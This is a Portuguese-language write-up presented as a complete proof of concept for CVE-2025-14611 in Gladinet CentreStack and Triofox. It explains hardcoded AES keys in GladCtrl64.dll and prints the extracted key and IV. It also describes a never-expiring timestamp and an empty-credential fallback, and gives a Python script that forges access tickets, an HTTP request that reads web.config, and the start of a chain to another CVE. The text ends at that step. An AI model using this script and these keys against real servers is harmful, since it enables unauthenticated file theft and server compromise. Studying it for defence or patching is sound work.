CVE-2025-14611 CentreStack e Triofox PoC/Exploit completo
Esta vulnerabilidade decorre de chaves criptográficas codificadas nos produtos Gladinet CentreStack e Triofox, permitindo leitura arbitrária de arquivos por meio de tickets de acesso forjados. A implementação de criptografia AES-256 usa chaves estáticas e imutáveis embutidas diretamente no binário do aplicativo (GladCtrl64.dll), permitindo que qualquer atacante que extraia essas chaves possa:
A vulnerabilidade afeta todas as versões do Gladinet CentreStack e Triofox anteriores à 16.12.10420.56791 e tem sido explorada ativamente desde pelo menos novembro de 2025.
A vulnerabilidade começa com a forma como as chaves criptográficas são geradas e armazenadas em GladCtrl64.dll. As funções GenerateSecKey e GenerateSecKey1 são responsáveis por fornecer a chave de criptografia AES e o vetor de inicialização (IV).
Fluxo de Geração de Chaves:
Quando o aplicativo de servidor CentreStack inicia, a classe SysKeyMgr chama AccessKeyMgr64.GetSysEncKey, que invoca GenerateSecKey localizada em GladCtrl64.dll. Esta função:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
A função converte strings codificadas em UTF-16LE para UTF-8 usando a API do Windows WideCharToMultiByte com a página de código 0xfde9 (UTF-8). Os dados de origem são armazenados em dois locais de memória estáticos:
Descoberta Crítica: Essas strings nunca mudam em nenhuma instalação do software. O nome da função GenerateSecKey é enganoso — ela não gera chaves dinamicamente, mas simplesmente retorna strings estáticas pré-existentes do binário.
Por meio de análise de engenharia reversa, as chaves codificadas foram extraídas da seção .data de GladCtrl64.dll:
Memória em 0x18000c000 (Fonte da Chave):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
Quando decodificada de UTF-16LE para UTF-8, isto produz texto chinês:
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
Memória em 0x18000c2c0 (Fonte do IV):
6d 6f 44 72 69 76 65 00 // "moDriv" in ASCII/UTF-16LE
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
Quando decodificada, isto produz:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
Chaves Criptográficas Finais:
O aplicativo usa os primeiros 32 bytes da Fonte da Chave codificada em UTF-8 como chave AES-256, e os primeiros 16 bytes da Fonte do IV codificada em UTF-8 como vetor de inicialização:
AES-256 Key: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
A vulnerabilidade é explorada por meio do manipulador HTTP filesvr.dn, que é mapeado para a classe GladinetStorage.FileDownloadHandler. Este manipulador processa tickets de acesso criptografados passados via parâmetro de consulta t.
Estrutura do Ticket de Acesso:
Os tickets de acesso são campos separados por quebras de linha criptografados com AES-256-CBC:
Linha 0: Caminho do arquivo (caminho absoluto no servidor)
Linha 1: Nome de usuário (conta do Windows a ser representada)
Linha 2: Senha (credenciais para essa conta)
Linha 3: Carimbo de data/hora (hora de criação do ticket)
O Processo de Descriptografia:
t e executa uma sanitização personalizada, trocando caracteres seguros para URL (: → +, | → /)AccessTicket.Decrypt é chamado, que recupera o SysKey estático (primeiros 32 bytes) e o SysKey1 (primeiros 16 bytes)Contorno da Validação de Carimbo de Data/Hora:
O manipulador compara o carimbo de data/hora do ticket com a hora atual do servidor. Se o ticket for mais antigo que 4 horas, ele é rejeitado. No entanto, os atacantes podem definir o carimbo de data/hora para o ano 9999, criando um ticket que nunca expira:
9999-11-27 14:52:04.009217
Isso cria uma backdoor persistente que pode ser reutilizada indefinidamente.
Após a descriptografia, o manipulador extrai os campos Nome de usuário e Senha e tenta inicializar um contexto de impersonação. Vulnerabilidade crítica: Quando ambos os campos são strings vazias, a lógica de impersonação falha e recorre à identidade do pool de aplicativos do IIS.
Isso permite leitura arbitrária de arquivos sem autenticação, pois o aplicativo é executado com privilégios elevados, mas não exige credenciais válidas.
Exemplo de Ticket Malicioso:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[empty]
[empty]
9999-11-27 14:52:04.009217
Exploração ativa tem sido observada desde novembro de 2025. Os atacantes seguem este padrão:
Passo 1: Forjar Ticket de Acesso
Usando as chaves extraídas, os atacantes criam tickets criptografados direcionados a web.config:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
Passo 2: Enviar Requisição Maliciosa
O ticket forjado é enviado ao endpoint vulnerável:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
Passo 3: Extrair Chaves de Máquina
A resposta contém o arquivo web.config com as chaves de máquina:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
Passo 4: Encadear com CVE-2025-30406